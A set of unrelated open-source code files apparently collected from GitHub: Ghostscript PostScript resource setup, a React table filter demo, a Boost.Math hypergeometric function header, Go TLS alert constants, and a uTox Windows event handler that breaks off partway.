/.DoLoadResource { % .LoadResource may push entries on the operand stack. % It is an undocumented feature of Adobe implementations, % which we must match for the sake of some badly written % font downloading code, that such entries are popped % automatically. count 1 index cvlit //.vmused % Stack: key count litkey memused {.LoadResource} 4 1 roll 4 .execn % Stack: ... count key memused //.vmused exch sub 1 index //.getvminstance exec not { pop dup //.undefinedresource exec % didn't load } if dup 1 1 put 2 3 -1 roll put % Stack: ... count key exch count 1 sub exch sub {exch pop} repeat } bind /.LoadResource { dup .ResourceFile { exch pop currentglobal { //.runresource exec } { //true setglobal { //.runresource exec } stopped //false setglobal { stop } if } ifelse } { dup //.undefinedresource exec } ifelse } bind /.ResourceFile { Category //.rfnstring cvs length % key l dup //.rfnstring dup length 2 index sub % key l l (buf) L-l 3 2 roll exch getinterval % key l () .file_name_directory_separator exch copy length add % key l1 dup //.rfnstring dup length 2 index sub % key l1 l1 (buf) L-l 3 2 roll exch getinterval % key l1 () 2 index exch cvs length add % key l2 //.rfnstring exch 0 exch getinterval % key (relative_path) .libfile { exch pop //true } { pop currentdict /ResourceFileName known { mark 1 index //.rfnstring { ResourceFileName } //.internalstopped exec { cleartomark //false } { (r) { file } //.internalstopped exec { cleartomark //false } { exch pop exch pop //true } ifelse } ifelse } { pop //false } ifelse } ifelse } bind .dicttomark /Category defineresource pop % Fill in the rest of the Category category. /Category /Category findresource dup /Generic /Category findresource begin { /FindResource /ResourceForAll /ResourceStatus /.ResourceFileStatus /UndefineResource /ResourceFileName /.ResourceFile /.LoadResource /.DoLoadResource } { dup load put dup } forall pop readonly pop end (END GENERIC) VMDEBUG % Define the fixed categories. mark % Non-Type categories with existing entries. /ColorSpaceFamily { } % These must be deferred, because optional features may add some. /Emulator mark EMULATORS { <00> search { exch pop cvn exch }{ cvn exit } ifelse } .bind loop //.packtomark exec /Filter { } % These must be deferred, because optional features may add some. /IODevice % Loop until the .getiodevice gets a rangecheck. errordict /rangecheck 2 copy get errordict /rangecheck { pop stop } put % pop the command mark 0 { { dup .getiodevice dup //null eq { pop } { exch } ifelse 1 add } loop} //.internalstopped exec pop pop pop //.packtomark exec 4 1 roll put //.clearerror exec % Type categories listed in the Red Book. /ColorRenderingType { } % These must be deferred, because optional features may add some. /FMapType { } % These must be deferred, because optional features may add some. /FontType { } % These must be deferred, because optional features may add some. /FormType { } % These must be deferred, because optional features may add some. /HalftoneType { } % These must be deferred, because optional features may add some. /ImageType { } % Deferred, optional features may add some. /PatternType { } % Deferred, optional features may add some. % Type categories added since the Red Book. /setsmoothness where { pop /ShadingType { } % Deferred, optional features may add some. } if counttomark 2 idiv { mark % Standard entries % We'd like to prohibit defineresource, % but because optional features may add entries, we can't. % We can at least require that the key and value match. /DefineResource { currentglobal not { /defineresource cvx /invalidaccess signaloperror } { 2 copy ne { /defineresource cvx /rangecheck signaloperror } { dup .Instances 4 -2 roll .growput } ifelse } ifelse } bind executeonly /UndefineResource { /undefineresource cvx /invalidaccess signaloperror } bind executeonly /FindResource { .Instances 1 index .knownget { exch pop } { /findresource cvx //.undefinedresource exec } ifelse } bind executeonly /ResourceStatus { .Instances exch known { 0 0 //true } { //false } ifelse } bind executeonly /ResourceForAll /Generic //.findcategory exec /ResourceForAll load end % Additional entries counttomark 2 add -1 roll dup length dict dup begin exch { dup def } forall end % We'd like to make the .Instances readonly here, % but because optional features may add entries, we can't. /.Instances exch /.LocalInstances % used by ResourceForAll 0 dict def .dicttomark /Category defineresource pop } repeat pop (END FIXED) VMDEBUG % Define the other built-in categories. /.definecategory % <name> -mark- <key1> ... <valuen> .definecategory - { counttomark 2 idiv 2 add % .Instances, Category /Generic /Category findresource dup maxlength 3 -1 roll add dict .copydict begin counttomark 2 idiv { def } repeat pop % pop the mark currentdict end /Category defineresource pop } bind def /ColorRendering mark /InstanceType /dicttype .definecategory % ColorSpace is defined below % Encoding is defined below % Font is defined below /Form mark /InstanceType /dicttype .definecategory /Halftone mark /InstanceType /dicttype .definecategory /Pattern mark /InstanceType /dicttype .definecategory /ProcSet mark /InstanceType /dicttype .definecategory % Added since the Red Book: /ControlLanguage mark /InstanceType /dicttype .definecategory /HWOptions mark /InstanceType /dicttype .definecategory /Localization mark /InstanceType /dicttype .definecategory /PDL mark /InstanceType /dicttype .definecategory % CIDFont, CIDMap, and CMap are defined in gs_cidfn.ps % FontSet is defined in gs_cff.ps % IdiomSet is defined in gs_ll3.ps % InkParams and TrapParams are defined in gs_trap.ps (END MISC) VMDEBUG % Define the OutputDevice category. /OutputDevice mark /InstanceType /dicttype /.Instances mark %% devicedict is not created yet so here we employ a technique similar to %% that used to create it, in order to get the device names. We run a loop %% executing .getdevice with incremental numbers until we get an error. %% The devicedict creation only stops on a rangecheck, we stop on any error. %% We need to use .internalstopped, not stopped or we get an invalidacces %% later in this file. Instances of /OutputDevice are dictionaries, and the %% only required key is a /PageSize. The array of 4 numbers are minimum to %% maximum and are matches for the Adobe Acrobat Distiller values. 0 { {dup .getdevice .devicename cvn 1 dict dup /PageSize [1 1 14400 14400] put [exch readonly 0 -1] 3 -1 roll 1 add} loop } //.internalstopped exec pop %% Remove the count, and the duplicate, from the stack pop pop .dicttomark .definecategory % Define the ColorSpace category. /.defaultcsnames mark /DefaultGray 0 /DefaultRGB 1 /DefaultCMYK 2 .dicttomark readonly def % The "hooks" are no-ops here, redefined in LL3. /.definedefaultcs { % <index> <value> .definedefaultcs - pop pop } bind def /.undefinedefaultcs { % <index> .undefinedefaultcs - pop } bind def /ColorSpace mark /InstanceType /arraytype % We keep track of whether there are any local definitions for any of % the Default keys. This information must get saved and restored in % parallel with the local instance dictionary, so it must be stored in % local VM. userdict /.localcsdefaults //false put /DefineResource { 2 copy /Generic /Category findresource /DefineResource get exec exch pop exch //.defaultcsnames exch .knownget { 1 index //.definedefaultcs exec currentglobal not { .userdict /.localcsdefaults //true put } if } if } bind executeonly /UndefineResource { dup /Generic /Category findresource /UndefineResource get exec //.defaultcsnames 1 index .knownget { % Stack: resname index currentglobal { //.undefinedefaultcs exec pop } { % We removed the local definition, but there might be a global one. exch .GetInstance { 0 get //.definedefaultcs exec } { //.undefinedefaultcs exec } ifelse % Recompute .localcsdefaults by scanning. This is rarely needed. .userdict /.localcsdefaults //false //.defaultcsnames { pop .LocalInstances exch known { pop //true exit } if } forall put } ifelse } { pop } ifelse } bind executeonly .definecategory % ColorSpace % Define the Encoding category. /Encoding mark /InstanceType /arraytype % Handle already-registered encodings, including lazily loaded encodings % that aren't loaded yet. /.Instances mark EncodingDirectory { dup length 256 eq { [ exch readonly 0 -1 ] } { pop [//null 2 -1] } ifelse } forall .dicttomark /.ResourceFileDict mark EncodingDirectory { dup length 256 eq { pop pop } { 0 get } ifelse } forall .dicttomark /ResourceFileName { .ResourceFileDict 2 index .knownget { exch copy exch pop } { /Generic /Category findresource /ResourceFileName get exec } ifelse } bind executeonly .definecategory % Encoding % Make placeholders in level2dict for the redefined Encoding operators, % so that they will be swapped properly when we switch language levels. /.findencoding /.findencoding load def /findencoding /findencoding load def /.defineencoding /.defineencoding load def (END ENCODING) VMDEBUG % Define the Font category. /.fontstatusaux { % <fontname> .fontstatusaux <fontname> <found> { % Create a loop context just so we can exit it early. % Check Fontmap. Fontmap 1 index .knownget { //true } { .nativeFontmap 1 index .knownget } ifelse { { dup type /nametype eq { .fontstatus { pop //null exit } if } { dup type /dicttype eq {/Path .knownget pop} if dup type /stringtype eq { findlibfile { closefile pop //null exit } if pop } { % Procedure, assume success. pop //null exit } ifelse } ifelse } forall dup //null eq { pop //true exit } if } if dup / eq { //false exit } if % / throws an error from findlibfile % Convert names to strings; give up on other types. dup type /nametype eq { .namestring } if dup type /stringtype ne { //false exit } if % Check the resource directory. dup //.fonttempstring /FontResourceDir getsystemparam .genericrfn status { pop pop pop pop //true exit } if % Check for a file on the search path with the same name % as the font. findlibfile { closefile //true exit } if % Scan a FONTPATH directory and try again. //.scannextfontdir exec not { //false exit } if } loop } bind def /.fontstatus { % <fontname> .fontstatus <fontname> <found> //.fontstatusaux exec { //true } { .buildnativefontmap { //.fontstatusaux exec } { //false } ifelse } ifelse } bind executeonly def currentdict /.fontstatusaux .undef /Font mark /InstanceType /dicttype /DefineResource { 2 copy //definefont exch pop /Generic /Category findresource /DefineResource get exec } bind executeonly /UndefineResource { dup //undefinefont /Generic /Category findresource /UndefineResource get exec } bind executeonly /FindResource { dup //.getvminstance exec { exch pop 0 get } { dup ResourceStatus { pop 1 gt { .loadfontresource } { .GetInstance pop 0 get } ifelse } { .loadfontresource } ifelse } ifelse } bind executeonly /ResourceForAll { { //.scannextfontdir exec not { exit } if } loop /Generic /Category findresource /ResourceForAll get exec } .bind executeonly /.ResourceFileStatus { .fontstatus { pop 2 -1 //true } { pop //false } ifelse } bind executeonly /.loadfontresource { dup //.vmused exch % Hack: rebind .currentresourcefile so that all calls of % definefont will know these are built-in fonts. currentfile {pop //findfont exec} .execasresource % (findfont is a procedure) exch //.vmused exch sub % stack: name font vmused % findfont has the prerogative of not calling definefont % in certain obscure cases of font substitution. 2 index //.getvminstance exec { dup 1 1 put 2 3 -1 roll put } { pop } ifelse exch pop } bind /.Instances FontDirectory length 2 mul dict .definecategory % Font % Redefine font "operators". /.definefontmap { /Font /Category findresource /.Instances get dup 3 index known { pop } { 2 index % Make sure we create the array in global VM. .currentglobal //true .setglobal [//null 2 -1] exch .setglobal .growput } ifelse //.definefontmap exec } bind def % Make sure the old definitions are still in systemdict so that % they will get bound properly. % NOTE: Mystery code... I can't just delete this, but don't understand why. % Instead we will undef these three operators in gs_init.ps after all the initialization is done. systemdict begin /.origdefinefont /definefont load def /.origundefinefont /undefinefont load def /.origfindfont /findfont load def end /definefont { { /Font defineresource } stopped { /definefont cvx $error /errorname get signalerror } if } bind executeonly odef /undefinefont { /Font undefineresource } bind executeonly odef % The Red Book requires that findfont be a procedure, not an operator, % but it still needs to restore the stacks reliably if it fails. /.findfontop { { /Font findresource } stopped { pop /findfont $error /errorname get signalerror } if } bind executeonly odef /findfont { .findfontop } bind executeonly def % Must be a procedure, not an operator % Remove initialization utilities. currentdict /.definecategory .undef currentdict /.emptydict .undef end % level2dict % Convert deferred resources after we finally switch to Level 2. /.fixresources { % Encoding resources EncodingDirectory { dup length 256 eq { /Encoding defineresource pop } { pop pop } ifelse } forall /.findencoding { { /Encoding findresource } stopped { pop /findencoding $error /errorname get signalerror } if } bind def /findencoding /.findencoding load def % must be a procedure /.defineencoding { /Encoding defineresource pop } bind def % ColorRendering resources and ProcSet systemdict /ColorRendering .knownget { /ColorRendering exch /ProcSet defineresource pop systemdict /ColorRendering undef /DefaultColorRendering currentcolorrendering /ColorRendering defineresource pop } if % ColorSpace resources systemdict /CIEsRGB .knownget { /sRGB exch /ColorSpace defineresource pop systemdict /CIEsRGB undef } if systemdict /CIEsRGBICC .knownget { /sRGBICC exch /ColorSpace defineresource pop systemdict /CIEsRGBICC undef } if systemdict /CIEsGRAYICC .knownget { /sGrayICC exch /ColorSpace defineresource pop systemdict /CIEsGRAYICC undef } if systemdict /CIEesRGBICC .knownget { /esRGBICC exch /ColorSpace defineresource pop systemdict /CIEesRGBICC undef } if systemdict /CIErommRGBICC .knownget { /rommRGBICC exch /ColorSpace defineresource pop systemdict /CIErommRGBICC undef } if % ColorSpaceFamily resources colorspacedict { pop dup /ColorSpaceFamily defineresource pop } forall % Filter resources filterdict { pop dup /Filter defineresource pop } forall % FontType and FMapType resources buildfontdict { pop dup /FontType defineresource pop } forall mark buildfontdict 0 known { 2 3 4 5 6 7 8 } if buildfontdict 9 known { 9 } if counttomark { dup /FMapType defineresource pop } repeat pop % FormType resources .formtypes { pop dup /FormType defineresource pop } forall % HalftoneType resources .halftonetypes { pop dup /HalftoneType defineresource pop } forall % ColorRenderingType resources .colorrenderingtypes {pop dup /ColorRenderingType defineresource pop} forall % ImageType resources .imagetypes { pop dup /ImageType defineresource pop } forall % PatternType resources .patterntypes { pop dup /PatternType defineresource pop } forall % Make the fixed resource categories immutable. /.shadingtypes where { pop .shadingtypes { pop dup /ShadingType defineresource pop } forall } if [ /ColorSpaceFamily /Emulator /Filter /IODevice /ColorRenderingType /FMapType /FontType /FormType /HalftoneType /ImageType /PatternType /.shadingtypes where { pop /ShadingType } if ] { /Category findresource dup /.Instances get readonly pop .LocalInstances readonly pop readonly pop } forall % clean up systemdict /.fixresources undef } bind def %% Replace 1 (gs_resmp.ps) (gs_resmp.ps) dup runlibfile VMDEBUG [ /.default_resource_dir /.resource_dir_name /.fonttempstring /.scannextfontdir % from gs_fonts.ps ] systemdict .undefinternalnames [ /.definedefaultcs /.undefinedefaultcs /.defaultcsnames /.enumerateresource /.externalresourceforall /.getvminstance /.globalresourceforall /.localresourceforall /resourceforall1 /.resourceexec /.undefinedresource /.vmused ] dup level2dict .undefinternalnames systemdict .undefinternalnames
{ "pile_set_name": "Github" }
/* eslint max-len: 0 */ import React from 'react'; import BootstrapTable from 'react-bootstrap-table-next'; import filterFactory, { selectFilter } from 'react-bootstrap-table2-filter'; import Code from 'components/common/code-block'; import { productsQualityGenerator } from 'utils/common'; const products = productsQualityGenerator(6); const selectOptions = [ { value: 0, label: 'good' }, { value: 1, label: 'Bad' }, { value: 2, label: 'unknown' } ]; const columns = [{ dataField: 'id', text: 'Product ID' }, { dataField: 'name', text: 'Product Name' }, { dataField: 'quality', text: 'Product Quailty', formatter: cell => selectOptions.find(opt => opt.value === cell).label, filter: selectFilter({ options: selectOptions }) }]; const sourceCode = `\ import BootstrapTable from 'react-bootstrap-table-next'; import filterFactory, { selectFilter } from 'react-bootstrap-table2-filter'; const selectOptions = [ { value: 0, label: 'good' }, { value: 1, label: 'Bad' }, { value: 2, label: 'unknown' } ]; const columns = [{ dataField: 'id', text: 'Product ID' }, { dataField: 'name', text: 'Product Name' }, { dataField: 'quality', text: 'Product Quailty', formatter: cell => selectOptions.find(opt => opt.value === cell).label, filter: selectFilter({ options: selectOptions }) }]; <BootstrapTable keyField='id' data={ products } columns={ columns } filter={ filterFactory() } /> `; export default () => ( <div> <h3><code>selectFilter.options</code> accept an Array and we keep that order when rendering the options</h3> <BootstrapTable keyField="id" data={ products } columns={ columns } filter={ filterFactory() } /> <Code>{ sourceCode }</Code> </div> );
{ "pile_set_name": "Github" }
/////////////////////////////////////////////////////////////////////////////// // Copyright 2014 Anton Bikineev // Copyright 2014 Christopher Kormanyos // Copyright 2014 John Maddock // Copyright 2014 Paul Bristow // Distributed under the Boost // Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_MATH_HYPERGEOMETRIC_2F0_HPP #define BOOST_MATH_HYPERGEOMETRIC_2F0_HPP #include <boost/math/policies/policy.hpp> #include <boost/math/policies/error_handling.hpp> #include <boost/math/special_functions/detail/hypergeometric_series.hpp> #include <boost/math/special_functions/laguerre.hpp> #include <boost/math/special_functions/hermite.hpp> #include <boost/math/tools/fraction.hpp> namespace boost { namespace math { namespace detail { template <class T> struct hypergeometric_2F0_cf { // // We start this continued fraction at b on index -1 // and treat the -1 and 0 cases as special cases. // We do this to avoid adding the continued fraction result // to 1 so that we can accurately evaluate for small results // as well as large ones. See http://functions.wolfram.com/07.31.10.0002.01 // T a1, a2, z; int k; hypergeometric_2F0_cf(T a1_, T a2_, T z_) : a1(a1_), a2(a2_), z(z_), k(-2) {} typedef std::pair<T, T> result_type; result_type operator()() { ++k; if (k <= 0) return std::make_pair(z * a1 * a2, 1); return std::make_pair(-z * (a1 + k) * (a2 + k) / (k + 1), 1 + z * (a1 + k) * (a2 + k) / (k + 1)); } }; template <class T, class Policy> T hypergeometric_2F0_cf_imp(T a1, T a2, T z, const Policy& pol, const char* function) { using namespace boost::math; hypergeometric_2F0_cf<T> evaluator(a1, a2, z); boost::uintmax_t max_iter = policies::get_max_series_iterations<Policy>(); T cf = tools::continued_fraction_b(evaluator, policies::get_epsilon<T, Policy>(), max_iter); policies::check_series_iterations<T>(function, max_iter, pol); return cf; } template <class T, class Policy> inline T hypergeometric_2F0_imp(T a1, T a2, const T& z, const Policy& pol, bool asymptotic = false) { // // The terms in this series go to infinity unless one of a1 and a2 is a negative integer. // using std::swap; BOOST_MATH_STD_USING static const char* const function = "boost::math::hypergeometric_2F0<%1%,%1%,%1%>(%1%,%1%,%1%)"; if (z == 0) return 1; bool is_a1_integer = (a1 == floor(a1)); bool is_a2_integer = (a2 == floor(a2)); if (!asymptotic && !is_a1_integer && !is_a2_integer) return boost::math::policies::raise_overflow_error<T>(function, 0, pol); if (!is_a1_integer || (a1 > 0)) { swap(a1, a2); swap(is_a1_integer, is_a2_integer); } // // At this point a1 must be a negative integer: // if(!asymptotic && (!is_a1_integer || (a1 > 0))) return boost::math::policies::raise_overflow_error<T>(function, 0, pol); // // Special cases first: // if (a1 == 0) return 1; if ((a1 == a2 - 0.5f) && (z < 0)) { // http://functions.wolfram.com/07.31.03.0083.01 int n = static_cast<int>(static_cast<boost::uintmax_t>(boost::math::lltrunc(-2 * a1))); T smz = sqrt(-z); return pow(2 / smz, -n) * boost::math::hermite(n, 1 / smz); } if (is_a1_integer && is_a2_integer) { if ((a1 < 1) && (a2 <= a1)) { const unsigned int n = static_cast<unsigned int>(static_cast<boost::uintmax_t>(boost::math::lltrunc(-a1))); const unsigned int m = static_cast<unsigned int>(static_cast<boost::uintmax_t>(boost::math::lltrunc(-a2 - n))); return (pow(z, T(n)) * boost::math::factorial<T>(n, pol)) * boost::math::laguerre(n, m, -(1 / z), pol); } else if ((a2 < 1) && (a1 <= a2)) { // function is symmetric for a1 and a2 const unsigned int n = static_cast<unsigned int>(static_cast<boost::uintmax_t>(boost::math::lltrunc(-a2))); const unsigned int m = static_cast<unsigned int>(static_cast<boost::uintmax_t>(boost::math::lltrunc(-a1 - n))); return (pow(z, T(n)) * boost::math::factorial<T>(n, pol)) * boost::math::laguerre(n, m, -(1 / z), pol); } } if ((a1 * a2 * z < 0) && (a2 < -5) && (fabs(a1 * a2 * z) > 0.5)) { // Series is alternating and maybe divergent at least for the first few terms // (until a2 goes positive), try the continued fraction: return hypergeometric_2F0_cf_imp(a1, a2, z, pol, function); } return detail::hypergeometric_2F0_generic_series(a1, a2, z, pol); } } // namespace detail template <class T1, class T2, class T3, class Policy> inline typename tools::promote_args<T1, T2, T3>::type hypergeometric_2F0(T1 a1, T2 a2, T3 z, const Policy& /* pol */) { BOOST_FPU_EXCEPTION_GUARD typedef typename tools::promote_args<T1, T2, T3>::type result_type; typedef typename policies::evaluation<result_type, Policy>::type value_type; typedef typename policies::normalise< Policy, policies::promote_float<false>, policies::promote_double<false>, policies::discrete_quantile<>, policies::assert_undefined<> >::type forwarding_policy; return policies::checked_narrowing_cast<result_type, Policy>( detail::hypergeometric_2F0_imp<value_type>( static_cast<value_type>(a1), static_cast<value_type>(a2), static_cast<value_type>(z), forwarding_policy()), "boost::math::hypergeometric_2F0<%1%>(%1%,%1%,%1%)"); } template <class T1, class T2, class T3> inline typename tools::promote_args<T1, T2, T3>::type hypergeometric_2F0(T1 a1, T2 a2, T3 z) { return hypergeometric_2F0(a1, a2, z, policies::policy<>()); } } } // namespace boost::math #endif // BOOST_MATH_HYPERGEOMETRIC_HPP
{ "pile_set_name": "Github" }
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import "strconv" type alert uint8 const ( // alert level alertLevelWarning = 1 alertLevelError = 2 ) const ( alertCloseNotify alert = 0 alertUnexpectedMessage alert = 10 alertBadRecordMAC alert = 20 alertDecryptionFailed alert = 21 alertRecordOverflow alert = 22 alertDecompressionFailure alert = 30 alertHandshakeFailure alert = 40 alertBadCertificate alert = 42 alertUnsupportedCertificate alert = 43 alertCertificateRevoked alert = 44 alertCertificateExpired alert = 45 alertCertificateUnknown alert = 46 alertIllegalParameter alert = 47 alertUnknownCA alert = 48 alertAccessDenied alert = 49 alertDecodeError alert = 50 alertDecryptError alert = 51 alertProtocolVersion alert = 70 alertInsufficientSecurity alert = 71 alertInternalError alert = 80 alertUserCanceled alert = 90 alertNoRenegotiation alert = 100 ) var alertText = map[alert]string{ alertCloseNotify: "close notify", alertUnexpectedMessage: "unexpected message", alertBadRecordMAC: "bad record MAC", alertDecryptionFailed: "decryption failed", alertRecordOverflow: "record overflow", alertDecompressionFailure: "decompression failure", alertHandshakeFailure: "handshake failure", alertBadCertificate: "bad certificate", alertUnsupportedCertificate: "unsupported certificate", alertCertificateRevoked: "revoked certificate", alertCertificateExpired: "expired certificate", alertCertificateUnknown: "unknown certificate", alertIllegalParameter: "illegal parameter", alertUnknownCA: "unknown certificate authority", alertAccessDenied: "access denied", alertDecodeError: "error decoding message", alertDecryptError: "error decrypting message", alertProtocolVersion: "protocol version not supported", alertInsufficientSecurity: "insufficient security level", alertInternalError: "internal error", alertUserCanceled: "user canceled", alertNoRenegotiation: "no renegotiation", } func (e alert) String() string { s, ok := alertText[e] if ok { return s } return "alert(" + strconv.Itoa(int(e)) + ")" } func (e alert) Error() string { return e.String() }
{ "pile_set_name": "Github" }
#include "events.h" #include "main.h" #include "window.h" #include "../commands.h" #include "../debug.h" #include "../flist.h" #include "../friend.h" #include "../macros.h" #include "../self.h" #include "../settings.h" #include "../theme.h" #include "../tox.h" #include "../utox.h" #include "../av/utox_av.h" #include "../native/clipboard.h" #include "../native/keyboard.h" #include "../native/notify.h" #include "../native/ui.h" #include "../ui/dropdown.h" #include "../ui/edit.h" #include "../ui/svg.h" #include "../layout/background.h" #include "../layout/notify.h" #include "../layout/settings.h" #include <windowsx.h> #include "../main.h" // main_width static TRACKMOUSEEVENT tme = { sizeof(TRACKMOUSEEVENT), TME_LEAVE, 0, 0, }; static bool mouse_tracked = false; /** Toggles the main window to/from hidden to tray/shown. */ static void togglehide(int show) { if (hidden || show) { ShowWindow(main_window.window, SW_RESTORE); SetForegroundWindow(main_window.window); redraw(); hidden = false; } else { ShowWindow(main_window.window, SW_HIDE); hidden = true; } } /** Right click context menu for the tray icon */ static void ShowContextMenu(void) { POINT pt; GetCursorPos(&pt); HMENU hMenu = CreatePopupMenu(); if (hMenu) { InsertMenu(hMenu, -1, MF_BYPOSITION, TRAY_SHOWHIDE, hidden ? "Restore" : "Hide"); InsertMenu(hMenu, -1, MF_BYPOSITION | MF_SEPARATOR, 0, NULL); InsertMenu(hMenu, -1, MF_BYPOSITION | ((self.status == TOX_USER_STATUS_NONE) ? MF_CHECKED : 0), TRAY_STATUS_AVAILABLE, "Available"); InsertMenu(hMenu, -1, MF_BYPOSITION | ((self.status == TOX_USER_STATUS_AWAY) ? MF_CHECKED : 0), TRAY_STATUS_AWAY, "Away"); InsertMenu(hMenu, -1, MF_BYPOSITION | ((self.status == TOX_USER_STATUS_BUSY) ? MF_CHECKED : 0), TRAY_STATUS_BUSY, "Busy"); InsertMenu(hMenu, -1, MF_BYPOSITION | MF_SEPARATOR, 0, NULL); InsertMenu(hMenu, -1, MF_BYPOSITION, TRAY_EXIT, "Exit"); // note: must set window to the foreground or the // menu won't disappear when it should SetForegroundWindow(main_window.window); TrackPopupMenu(hMenu, TPM_BOTTOMALIGN, pt.x, pt.y, 0, main_window.window, NULL); DestroyMenu(hMenu); } } /* TODO should this be moved to window.c? */ static void move_window(int x, int y){ LOG_TRACE("Win events", "delta x == %i\n", x); LOG_TRACE("Win events", "delta y == %i\n", y); SetWindowPos(main_window.window, 0, main_window._.x + x, main_window._.y + y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOREDRAW); main_window._.x += x; main_window._.y += y; } #define setstatus(x) \ if (self.status != x) { \ postmessage_toxcore(TOX_SELF_SET_STATE, x, 0, NULL); \ self.status = x; \ redraw(); \ } /** Handles all callback requests from winmain(); * * handles the window functions internally, and ships off the tox calls to tox */ LRESULT CALLBACK WindowProc(HWND window, UINT msg, WPARAM wParam, LPARAM lParam) { static int mx, my; static bool mdown = false; static int mdown_x, mdown_y; static uint32_t taskbar_created; if (main_window.window && window != main_window.window) { if (msg == WM_DESTROY) { if (window == preview_hwnd) { if (settings.video_preview) { settings.video_preview = false; postmessage_utoxav(UTOXAV_STOP_VIDEO, UINT16_MAX, 0, NULL); } return false; } for (uint8_t i = 0; i < self.friend_list_count; i++) { if (video_hwnd[i] == window) { FRIEND *f = get_friend(i); postmessage_utoxav(UTOXAV_STOP_VIDEO, f->number, 0, NULL); break; } } } LOG_TRACE("WinEvent", "Uncaught event %u & %u", wParam, lParam); return DefWindowProcW(window, msg, wParam, lParam); } switch (msg) { case WM_QUIT: case WM_CLOSE: case WM_DESTROY: { if (settings.close_to_tray) { LOG_INFO("Events", "Closing to tray." ); togglehide(0); return true; } else { PostQuitMessage(0); return false; } } case WM_GETMINMAXINFO: { POINT min = { SCALE(MAIN_WIDTH), SCALE(MAIN_HEIGHT) }; ((MINMAXINFO *)lParam)->ptMinTrackSize = min; break; } case WM_CREATE: { LOG_INFO("Windows", "WM_CREATE"); taskbar_created = RegisterWindowMessage(TEXT("TaskbarCreated")); return false; } case WM_SIZE: { switch (wParam) { case SIZE_MAXIMIZED: { settings.window_maximized = true; break; } case SIZE_RESTORED: { settings.window_maximized = false; break; } } int w = GET_X_LPARAM(lParam); int h = GET_Y_LPARAM(lParam); if (w != 0) { RECT r; GetClientRect(window, &r); w = r.right; h = r.bottom; settings.window_width = w; settings.window_height = h; ui_rescale(dropdown_dpi.selected + 5); ui_size(w, h); if (main_window.draw_BM) { DeleteObject(main_window.draw_BM); } main_window.draw_BM = CreateCompatibleBitmap(main_window.window_DC, settings.window_width, settings.window_height); SelectObject(main_window.window_DC, main_window.draw_BM); redraw(); } break; } case WM_SETFOCUS: { if (flashing) { FlashWindow(main_window.window, false); flashing = false; NOTIFYICONDATAW nid = { .uFlags = NIF_ICON, .hWnd = main_window.window, .hIcon = black_icon, .cbSize = sizeof(nid), }; Shell_NotifyIconW(NIM_MODIFY, &nid); } have_focus = true; break; } case WM_KILLFOCUS: { have_focus = false; break; } case WM_ERASEBKGND: { return true; } case WM_PAINT: { PAINTSTRUCT ps; BeginPaint(window, &ps); RECT r = ps.rcPaint; BitBlt(main_window.window_DC, r.left, r.top, r.right - r.left, r.bottom - r.top, main_window.draw_DC, r.left, r.top, SRCCOPY); EndPaint(window, &ps); return false; } case WM_SYSKEYDOWN: // called instead of WM_KEYDOWN when ALT is down or F10 is pressed case WM_KEYDOWN: { bool control = (GetKeyState(VK_CONTROL) & 0x80) != 0; bool shift = (GetKeyState(VK_SHIFT) & 0x80) != 0; bool alt = (GetKeyState(VK_MENU) & 0x80) != 0; /* Be careful not to clobber alt+num symbols */ if (wParam >= VK_NUMPAD0 && wParam <= VK_NUMPAD9) { // normalize keypad and non-keypad numbers wParam = wParam - VK_NUMPAD0 + '0'; } if (control && wParam == 'C') { copy(1); return false; } if (control) { if ((wParam == VK_TAB && shift) || wParam == VK_PRIOR) { flist_previous_tab(); redraw(); return false; } else if (wParam == VK_TAB || wParam == VK_NEXT) { flist_next_tab(); redraw(); return false; } } if (control && !alt) { if (wParam >= '1' && wParam <= '9') { flist_selectchat(wParam - '1'); redraw(); return false; } else if (wParam == '0') { flist_selectchat(9); redraw(); return false; } } if (edit_active()) { if (control) { switch (wParam) { case 'V': paste(); return false; case 'X': copy(0); edit_char(KEY_DEL, 1, 0); return false; } } if (control || ((wParam < 'A' || wParam > 'Z') && wParam != VK_RETURN && wParam != VK_BACK)) { edit_char(wParam, 1, (control << 2) | shift); } } else { messages_char(wParam); redraw(); // TODO maybe if this break; } break; } case WM_CHAR: { if (edit_active()) { if (wParam == KEY_RETURN && (GetKeyState(VK_SHIFT) & 0x80)) { wParam = '\n'; } if (wParam != KEY_TAB) { edit_char(wParam, 0, 0); } } return false; } case WM_MOUSEWHEEL: { double delta = (double)GET_WHEEL_DELTA_WPARAM(wParam); mx = GET_X_LPARAM(lParam); my = GET_Y_LPARAM(lParam); panel_mwheel(&panel_root, mx, my, settings.window_width, settings.window_height, delta / (double)(WHEEL_DELTA), 1); return false; } case WM_MOUSEMOVE: { int x, y, dx, dy; x = GET_X_LPARAM(lParam); y = GET_Y_LPARAM(lParam); dx = x - mx; dy = y - my; mx = x; my = y; if (btn_move_window_down) { move_window(x - mdown_x, y - mdown_y); } cursor = 0; panel_mmove(&panel_root, 0, 0, settings.window_width, settings.window_height, x, y, dx, dy); SetCursor(cursors[cursor]); if (!mouse_tracked) { TrackMouseEvent(&tme); mouse_tracked = true; } return false; } case WM_LBUTTONDOWN: { mdown_x = GET_X_LPARAM(lParam); mdown_y = GET_Y_LPARAM(lParam); // Intentional fall through to save the original mdown location. } // fallthrough case WM_LBUTTONDBLCLK: { mdown = true; int x = GET_X_LPARAM(lParam); int y = GET_Y_LPARAM(lParam); if (x != mx || y != my) { panel_mmove(&panel_root, 0, 0, settings.window_width, settings.window_height, x, y, x - mx, y - my); mx = x; my = y; } // double redraw> panel_mdown(&panel_root); if (msg == WM_LBUTTONDBLCLK) { panel_dclick(&panel_root, 0); } SetCapture(window); break; } case WM_RBUTTONDOWN: { panel_mright(&panel_root); break; } case WM_RBUTTONUP: { break; } case WM_LBUTTONUP: { ReleaseCapture(); break; } case WM_CAPTURECHANGED: { if (mdown) { panel_mup(&panel_root); mdown = false; } break; } case WM_MOUSELEAVE: { ui_mouseleave(); mouse_tracked = false; btn_move_window_down = false; LOG_TRACE("Win events", "mouse leave\n"); break; } case WM_COMMAND: { int menu = LOWORD(wParam); //, msg = HIWORD(wParam); switch (menu) { case TRAY_SHOWHIDE: { togglehide(0); break; } case TRAY_EXIT: { PostQuitMessage(0); break; } case TRAY_STATUS_AVAILABLE: { setstatus(TOX_USER_STATUS_NONE); break; } case TRAY_STATUS_AWAY: { 